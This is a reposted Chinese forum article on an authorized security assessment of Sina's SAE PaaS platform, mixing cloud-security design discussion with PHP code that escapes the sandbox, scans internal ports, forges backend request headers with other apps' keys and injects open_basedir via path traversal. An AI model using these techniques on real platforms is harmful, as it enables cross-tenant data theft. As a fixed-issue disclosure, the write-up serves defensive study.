首页
社区
课程
招聘
[转帖]从对SAE的一次授权安全评估浅谈云安全
发表于: 2013-4-15 21:51 3083

[转帖]从对SAE的一次授权安全评估浅谈云安全

2013-4-15 21:51
3083
EMail:        jianxin#80sec.com
Site:        http://www.80sec.com
Date:        2011-12-20
From:        http://www.80sec.com/

[ 目录 ]
一        背景及描述
二        什么是云
三        什么是云安全
四        如何对云进行安全设计
五        对SAE的一次授权安全评估检测

一        背景及简述

由于国外的服务器访问较慢并且经常性的出现无法访问的情况,我们较早就与SAE合作将WooYun项目迁移至了较为稳定的SAE平台,后来与新浪SAE在安全方面也建立了合作关系,其中就包括此次安全评估测试。另外一方面,目前业界对云安全的讨论更多的都是在理论方面,很多的专家学者乃至安全研究人员和黑客都在讨论云安全,却很少有对实际的生产环境的云进行评估分析甚至入侵的案例,80sec也一直对云安全有自己的想法,但是缺乏实际的案例所以一直也没有相关的文档产出,我们在SAE对这些安全问题修复之后,经过SAE方面允许将此次对一个典型的paas云的评估过程公开,顺便提一些我们80sec在云安全方面的一些粗浅的想法,相关的一些详细安全问题也会被同步提交到乌云-漏洞报告平台上,说安全不如做安全:)

二        什么是云

我们理解的云是一种新的资源使用方式,包括存储,数据,计算,网络……等等,这种资源相比传统的资源来讲,更接近一种基础能源,需要多少就用多少,类似于基础设施里的水和电的这种弹性,按照用多少进行付费,到目前为止,我们都很难对云有一个精确的定义,我们站在安全的角度只能粗浅的将云分为:

私有云:为企业内部业务服务的,具有无限计算能力和无限存储能力的云服务;
公有云:为外部用户提供服务的,在计算能力和存储能力不限的基础上,可能会与公司核心资源一起以saas的形式提供给外部用户服务的云;

同样,按照云实际的表现形式和作用又可以分为iaas,paas,saas,不同类型的云是资源本质上的不同,下一层为上一层服务,iaas提供网络和系统层面上的资源细粒度划分,paas依赖于iaas可以做到将存储,计算,数据等资源开放给第三方开发者,而借助paas提供的平台,可以在之上实现各种各样的软件层面的saas结合公司核心资源以给用户提供服务;

三        什么是云安全

安全永远是对数据而言,安全的本质是数据的安全,包括可用,保密和不可篡改,安全上的一个挑战是云安全本质上改变了数据的处理方式,从传统的数据拥有者对安全负责变成数据处理者和数据拥有者同时对安全负责。
云安全带来的另外一个挑战是一个矛盾,对于使用者而言如果我要使用云,因为我可能会将敏感数据传到云上,我要先确保云是安全的,而如果我是一个云的建设者,我要对云安全负责,我得首先确认云里的数据处理和协作方式,而在数据规模和具体应用还不成熟的情况下,做到这一点会有难度,我无法保护一个威胁模型都不成熟的系统,所以目前一方面出现一个云安全先于云计算发展的局面,但是同时云安全因为云计算业务发展不够导致会处于一个理论和策略层面的情况;
不同的云,因为实际的业务目标和蕴含的数据不同,会有不同的安全威胁从而会有不同的云安全,譬如paas所需要考虑的东西和一个iaas需要考虑的安全会是完全不同的,同样私有云的安全目标和公有云的安全目标也会完全不同,依然是很久之前80sec提到的,不理解上下文的安全是没有意义的;

四        如何对云进行安全设计

我相信任何一个事物的安全性会由如下方面造成,它本身蕴含的价值,这种价值所吸引带来的风险,是否有考虑到这种风险的防护及实际的解决方案,解决方案是否得到正确的实现,正确实现解决方案后是否形成有效的体系进行管理和运维,任何一个环节的缺失都会带来不安全性;
对于云,我们相信没有统一的云安全,所以只能选择一个目前较为典型的例子paas来谈我们对云安全设计的浅显看法,我们将考虑如下几个维度:

a)        资产价值:我们需要了解到该业务核心的价值所在,不同价值的数据会导致不同的安全威胁,譬如对于paas来讲,我们就很不赞成将私服(你懂的),银行等系统运行于paas之上,它不适合你,而且高价值的资产引入将提高云的风险;

b)        安全风险:特定的资产会遭受不同的安全风险,一个涉及国家机密的网站所可能承受的安全风险和一个个人Blog必定是完全不同的,分析我们所可能承受的风险,譬如拒绝服务,用户数据被非法访问,对内部网络的渗透等等;

c)        威胁建模:根据云可能承受的风险以及会造成这些风险的途径,重点在于分析系统的体系结构,安全域以及各安全域的边界,并且建立威胁模型譬如在paas云平台和internet的边界方面需要考虑的包括外网的网络攻击,恶意扫描等,对于用户数据和平台数据边界间应该考虑恶意代码对平台数据,甚至因为paas多用户的特殊性,应该考虑用户数据间边界的威胁;在这之外还要考虑平台对内部数据中心的影响;

d)        安全策略:基于上述的威胁建模,我们可以针对各种威胁进行必要的安全策略以杜绝和弱化风险,譬如要求在paas云边界上部署防火墙,在平台和内部网络之间部署入侵检测及监控系统;对于平台和用户以及用户与用户之间要求做到安全隔离等等;

e)        技术控制:对于策略如何能够具体的落实到执行,是一件较难的事情,同时也是最重要的一部分工作,大多数的企业也最缺少对这块的技术评估,没有足够的技术支撑,安全策略也只是一纸空文;这部分基本应该包括安全基线,访问控制,异常监控

可以看到,我们的安全设计是以数据和风险驱动的安全设计,以新浪云SAE为例,我们可以将涉及的数据按照属性和安全等级分为若干安全区域,各安全区域内实现相应等级的安全控制,区域间的访问行为需要受到严格的监控和审计:

a)        新浪内部数据(位于新浪IDC内部,未授权对新浪内部收据的访问将导致危害)
b)        SAE平台数据(平台支撑整个用户数据的安全,安全等级较高)
c)        SAE用户数据(可以再细化为用户数据A,用户数据B)

这几个区域的属性完全不同,对于访问需要做不同访问控制,对于内部数据,应该是和平台本身进行完全隔离,这部分可以通过划分独立的网络来进行控制,理论上我们信任内部网络,但是如果平台足够重要我们可以一样将其来自内部的访问和请求进行隔离;对于平台数据和用户之间应该是完全隔离,这部分是基于主机和一些后台服务的,所以可以通过网络和主机上的沙盒进行控制;对于用户之间的数据,因为安全性一样需要隔离,这部分需要在应用层实现一套隔离机制;对于平台和外网之间的隔离,我们需要严格防御譬如拒绝服务ddos以及一些常见的应用漏洞;
这几个部分如果没有做好,就会导致安全问题,我们无论是实现还是评估都是从这几个部分来考虑;

五        对SAE的一次授权安全评估检测

我们的网站一直搭建在SAE平台上,无论是速度,稳定以及工作人员对问题的态度上都非常的不错,SAE之前和乌云有意展开一些合作包括对SAE的安全评估和检测,SAE安全防护很到位,对我们发现的问题都有过积极的反馈和修复,在得到SAE的允许之后这里我们将我们发现的问题做一些分享,相信对其他类似于paas的平台会有帮助

1        know it,了解我们的测试目标

按照我们对新浪云的粗略分析,数据会分为新浪内部数据,SAE平台数据和SAE用户数据,其中新浪内部数据主要是指IDC内部其他业务数据,平台数据包括平台的管理及运维以及相关的业务数据,用户数据主要是指用户上传至SAE的包括代码,数据库,存储等数据。按照我们的安全目标,这些数据之间应该相互隔离,不应该互相影响,不会被非法访问;
新浪对云的保护基本也分为几个方面,一方面是外部的防火墙实现sae与因特网的控制边界,在内部同样是使用了合适的ACL对内部数据进行了防护,我们非常关心的另外一方面也是paas所独有的一方面就是用户数据间的隔离和用户数据与云平台的隔离,这部分是最为复杂也是最为灵活的;SAE对用户数据间的隔离主要是不同用户间通过用户名和密码实现隔离,不同的应用之间通过access_key和secert_key来进行隔离,访问后端的数据库和存储等应用都必须提供access_key以及secert_key来进行;对于用户数据和平台之间的隔离主要包括所有资源的使用必须通过sae提供的接口进行,原生态的文件读写,网络请求都被禁止,而对于代码执行层,sae通过disable_function和open_basedir模拟了一个沙盒环境,以实现在执行态的沙盒保证用户无法对他资源之外的数据进行访问;
我们看到sae在这一块做的努力,我们也尝试对他进行了突破;

2        看看我们可以获得的资源

由于我们能够真正与sae及sae后端所蕴藏的丰富其他用户资源进行交互的,唯一的方式就是执行我们自己的代码,所以我们代码所处的环境和实际的限制对我们来说很重要,我们通过如下代码对系统进行了判断:

<?php

$exts=get_loaded_extensions();
$disables=ini_get("disable_functions");
$disables=explode(",",$disables);

$alls=get_defined_functions();

$myfun=$alls['user'];

for($i=0;$i<count($alls['internal']);$i++){
if(!in_array($alls['internal'][$i],$disables)){
$myfun[]=$alls['internal'][$i];
}
}

var_dump($myfun);

?>

这是所有我们代码可执行的范围,也就是我们所有可能进行的交互,可以看到基本已经知道的可以突破沙箱的函数和方法都做了限制;

3        分析我们的环境

同时我们可以看到sae提供了phpinfo函数支持,那么我们通过phpinfo就可以简单判断当前的环境了,我们需要关心如下选项:

Registered PHP Streams
apache2handler
Apache Environment

open_basedir
disable_functions

auto_prepend_file

这样我们大概了解了我们代码所处的运行环境,同时根据auto_prepend_file的提示我们知道在应用层sae做的一些事情,这里隐藏了太多的秘密包括后端服务的工作方式和sae制造的沙盒里可能有的一些空隙,毕竟这是跟我们的代码同一层所做的安全控制,而不是更底层,主要的包括网络请求的封装,后端资源访问的封装,而那个access_key和secert_key正是在这里起的作用;

4        攻击方式

我们的代码运行于一个open_basedir和disable_function环境中,这两个选项,正常情况下将我们的代码同文件系统以及操作系统隔离开来,使得我们处于一个受限的环境,同时由于在php这一层sae的代码优于我们的代码执行,所以在php代码层同样实现了一个沙箱,在这个沙箱内,我们与其他的任何资源的交互都会受到限制,譬如http请求和socks请求,而正常允许的连接譬如mysql,通过我们的测试,我们发现由于修改了底层的mysql代码,在sae代码执行环境里我们无法连接属于我们固有权限之外的任何数据,但是可以看到由于sae选择在应用层而不是更底层进行的沙箱,所以我们只要我们有可能选择到一些沙箱没有控制到的地方就可能绕过,同时如果沙箱本身实现得不好的话也可能导致产生问题。
先来看看沙箱是否可能漏洞的地方,我们可以简单的对允许使用的php函数进行一次遍历,发现了这么一个函数mb_send_mail并没有被禁用,80sec曾经提到要将mail函数禁用因为这将是php和底层系统进行交互的一个接口,而mb_send_mail同样只是对mail函数的一个封装,我们简单的测试之后证明的确可以利用该函数对底层系统进行读写,但是由于网络的一些原因我们得到了一个500错误,我们所需要的结果并没有如实的反馈给我们,但经过sae证实,该问题的确存在
另外,我们也观察到,sae支持的流非常多,但是真正被封装起来的其实只有一个http协议,封装的目的是对用户产生的请求能够进行控制,譬如限制访问的目的地址和对请求数量等做更精粒度的控制,而对于原生的譬如ftp协议并没有进行限制,这个时候其实我们可以利用这个做一个简单的内网端口扫描器:

echo(file_get_contents('ftp://127.0.0.1:22/111'));

由于sae对错误的处理偏向开发者太过有好,导致通过捕获错误,我们可以看到是否是网络不可达,端口未开放还是协议不匹配,这样我们甚至可以探测出sae与内部网络的隔离程度
ftp协议毕竟不是特别友好,而对于已经封装的http协议我们发现stream_wrapper_unregister和stream_wrapper_restore并没有禁用,于是通过这两个函数我们可以恢复原生的http请求,向所有我们想发起的地方发起http请求了:

if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http"));

这只是对网络请求沙箱的一些突破,在实际的用户数据层,我们发现在后端用户是共用一些基本的服务的,譬如memcache,譬如mysql等,后端通过用户传递的access_key以及secert_key来识别用户,我们做了个很有意思的实验:

define( 'SAE_ACCESSKEY', 'm0lm3wyxjyo' );
define( 'SAE_SECRETKEY', '5d2dmz1xwyihjd2m3xzximw5wj30jix0djxl1c5i0iz5' );
define( 'SAE_MYSQL_HOST_M', 'w.rdc.sae.sina.com.cn' );
define( 'SAE_MYSQL_HOST_S', 'r.rdc.sae.sina.com.cn' );
define( 'SAE_MYSQL_PORT', 3307 );
define( 'SAE_MYSQL_USER', SAE_ACCESSKEY );
define( 'SAE_MYSQL_PASS', SAE_SECRETKEY );
define( 'SAE_MYSQL_DB', 'app_' . 'wscan' );

var_dump(mysql_connect('r.rdc.sae.sina.com.cn:3307','m0lm3wyxjyo','5d2m1d0wfffyihj2m3xximw5wj30jix0jxlxl05i0iz5'));

这个会提示

SAE_Warning: mysql_connect() [function.mysql-connect]: this app is not authorised in eval.php

似乎是底层的Mysql对连接的应用做了限制,不允许跨应用去连接数据库,但是我们知道除了在应用代码环境里可以去连接数据库,在SAE提供的面板里也是可以去进行数据库连接的,在控制面板里的实现即是通过access_key和secret_key在后台进行的连接,我们只要替换为我们获得的其他应用的相应key即可连接成功,这个沙箱似乎太简单了,还是没有做到应用只能访问到自己的数据这个原则,那么我们如何获得别人的access_key和secret_key呢,看看那个auto_prepend_file文件,这两个值是从HTTP请求里传递的,并且由于实现上的原因,这个内容在phpinfo里是直接可以看到的,上百度搜索一下sae,phpinfo吧……
到这里似乎我们可以了解到sae的一些机制和机制上的问题,但是都是用户之间的,我们很好奇为什么sae需要在http头里传递access_key和secert_key,这似乎比较难理解,在分析了sae的实现机制之后我们大概可以做如下理解,在前端接收到请求之后,会对请求做一些逻辑判断,譬如是否是有效的应用,应用资源是否超标等等,在做完有效性验证之后请求被转发到后端的执行层,执行环境所需要的一些数据譬如access_key和secert_key就是从这里传递到执行环境的,这里的好处是执行环境只负责执行,不用验证请求的合法性,任何应用的更改譬如禁用启用,增加删除不会影响到后端执行环境,但是这里就会有明显的问题,如果请求的合法性只在前端验证那么如果我们可以直接将请求转发到后端是可能影响到后端逻辑的正确性的,注意phpinfo里如下的信息:

DOCUMENT_ROOT        /data1/www/htdocs
SERVER_ADMIN        saesupport@sina.cn
SCRIPT_FILENAME        /data1/www/htdocs/549/wscan/1/phpinfo.php

我们请求的是phpinfo.php,document_root是在/data1/www/htdocs,理论是上是无法映射到/data1/www/htdocs/549/wscan/1/phpinfo.php的,而且从这个路径我们推测,所有应用的执行代码都是处于/data1/www/htdocs/下面,所有的执行代码都是相同的用户身份运行的,因为一些原因sae并没有在设计上将所有用户的可执行代码做到隔离,隔离只是在执行层利用动态的映射和动态的限制来做的,这个机制是否存在问题呢,看如下精彩的代码:

if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.com\r\nX-Forwarded-For: 61.135.165.180, 61.135.165.180\r\nAppName: webmanage\r\nAccessKey: ynz0jyo1k1\r\nSecretKey: 1zhwzm5l4yilzyj54xiim5ddywwzzzz342l5lk5\r\nAppHash: 928\r\nMysqlPort: 3307\r\nAppCookie: default_version=1;xhprof=;debug=1;\r\nConnection: close\r\nCookie: saeut=220.181.50.244.1321955938519836\r\nAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));

我们利用之前突破http封装的方式实现了一个原生态的http请求,请求直接发往后端的可执行层代码,我们故意使用了别人的appname和apphash去请求一个phpinfo,结果发现正如我们的猜测,所有请求和请求的限制都是动态生成的,生成的原则就是基于appname和apphash等,譬如:

SCRIPT_FILENAME        /data1/www/htdocs/549/wscan/1/phpinfo.php

就是基于请求的apphash和appname与DOCUMENT_ROOT一起决定请求的路径,从这种角度来讲,所有用户的资源更像是同一个站点下面的不同页面,理论上是可以获得其他用户资源的,我们尝试继续突破。既然请求路径是动态生成的,我们有理由相信open_basedir也是动态生成的,既然是动态生成的我们就可以进行一次史无前例的注射:

open_basedir格式为:/dir/1:/dir/2

如果我们能产生一段open_basedir为/dir/1:/:/dir/2就可以突破对文件系统的沙箱了,同时这个请求还必须合法,因为我们请求的文件资源会和这个路径保持一致,我们可以建立一个名字为/:/:/的目录,结合../对目录进行遍历,我们是可以同时满足open_basedir和SCRIPT_FILENAME的要求的,最后让我们构造一个如下的请求:

if ( in_array( "http", stream_get_wrappers() ) ) {
stream_wrapper_unregister("http");
}

stream_wrapper_restore("http");

$opt = array(
'http' => array(
'header' => "Host: wooyun.sinaapp.com\r\nX-Forwarded-For: 61.135.165.180, 61.135.165.180\r\nAppName: webmanage/1/:/:/../../../\r\nAccessKey: ynztttt1k1\r\nSecretKey: 1zhwzm5l4yzzzzyj54xiim5ddywwzill342l5lk5\r\nAppHash: 928\r\nMysqlPort: 3307\r\nAppCookie: default_version=1;xhprof=;debug=1;\r\nConnection: close\r\nCookie: saeut=220.181.50.244.1321955938519836\r\nAppVersion: 1",
'protocol_version' => '1.1'
)
);
stream_context_set_default($opt);
$d = stream_context_get_default();
var_dump(file_get_contents("http://10.67.15.23/phpinfo.php"));

注意AppName: webmanage/1/:/:/../../../,这个时候webmanage下得所有请求都将是绕过了open_basedir的限制的,我们顺利的访问到了所有用户的代码资源,包括SAE平台执行环境的资源;
我们在获得了数据权限之后尝试对sae的系统环境进行了突破,也发现了一些问题,但是没有得到实质的突破,将来有机会会再次分享        :)

5        总结

SAE在设计的时候就考虑了安全性,并且防护非常严密,在易用性和安全性中实现了一个优雅的平衡,但是我们也可以看到对于paas的设计来讲,由于需要允许用户的代码尽量友好高效的运行,所以很容易在一些安全策略实现的细节当中出现一些问题,作为paas应用上下文的特殊性,其他的paas厂商在实现和设计的时候更应该严格注意这些安全问题,避免给平台和用户造成安全损失。

本站内容均为原创,转载请务必保留署名与链接!
从对SAE的一次授权安全评估浅谈云安全:http://www.80sec.com/sae-security.html

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 72
活跃值: (60)
能力值: ( LV7,RANK:100 )
在线值:
发帖
回帖
粉丝
2
写的不错,遗憾的是没能发现问题。
2013-4-16 10:26
0
游客
登录 | 注册 方可回帖
返回
//